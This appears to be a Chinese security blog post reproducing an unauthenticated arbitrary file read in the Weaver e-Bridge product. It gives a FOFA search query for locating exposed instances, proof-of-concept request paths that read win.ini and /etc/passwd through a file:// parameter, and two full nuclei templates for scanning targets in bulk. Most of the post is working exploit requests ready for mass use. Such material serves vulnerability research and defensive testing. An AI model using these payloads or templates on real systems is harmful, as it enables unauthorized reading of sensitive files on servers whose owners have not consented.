泛微E-Bridge saveYZJFile任意文件读取漏洞
漏洞描述
泛微云桥e-Bridge存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。
漏洞复现
fofa语法:app="泛微云桥e-Bridge"
登录页面如下:
windows系统POC:
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt
Linux系统POC:
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
拼接上面获得的id号,读取文件
/file/fileNoLogin/165d959362934f099c586129029198e9
nuclei批量yaml文件
id: fanwei_eBridge_saveYZJFile_fileread_windows
info:
name: 泛微e-Bridge未授权文件读取漏洞
author: mhb17
severity: high
description: description
reference:
- https://
tags: fileread
requests:
- raw:
- |-
GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C://windows/win.ini&fileExt=txt HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
- |+
GET /file/fileNoLogin/{{endpoint}} HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
iterate-all: true
extractors:
- part: body
name: endpoint
internal: true
type: json
json:
- '.["id"]'
matchers-condition: and
matchers:
- type: dsl
condition: and
dsl:
- 'contains((body_2), "bit app support") && status_code_2 == 200'
- type: dsl
condition: and
dsl:
- 'contains((body_1), "filepath") && status_code_1 == 200'
id: fanwei_eBridge_saveYZJFile_fileread_linux
info:
name: 泛微e-Bridge未授权文件读取漏洞
author: mhb17
severity: high
description: description
reference:
- https://
tags: fileread
requests:
- raw:
- |-
GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
- |+
GET /file/fileNoLogin/{{endpoint}} HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
iterate-all: true
extractors:
- part: body
name: endpoint
internal: true
type: json
json:
- '.["id"]'
matchers-condition: and
matchers:
- type: dsl
condition: and
dsl:
- 'contains((body_2), "root:") && status_code_2 == 200'
- type: dsl
condition: and
dsl:
- 'contains((body_1), "filepath") && status_code_1 == 200'
分类:
漏洞复现 / 泛微OA
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
2021-10-19 buu刷题笔记之文件上传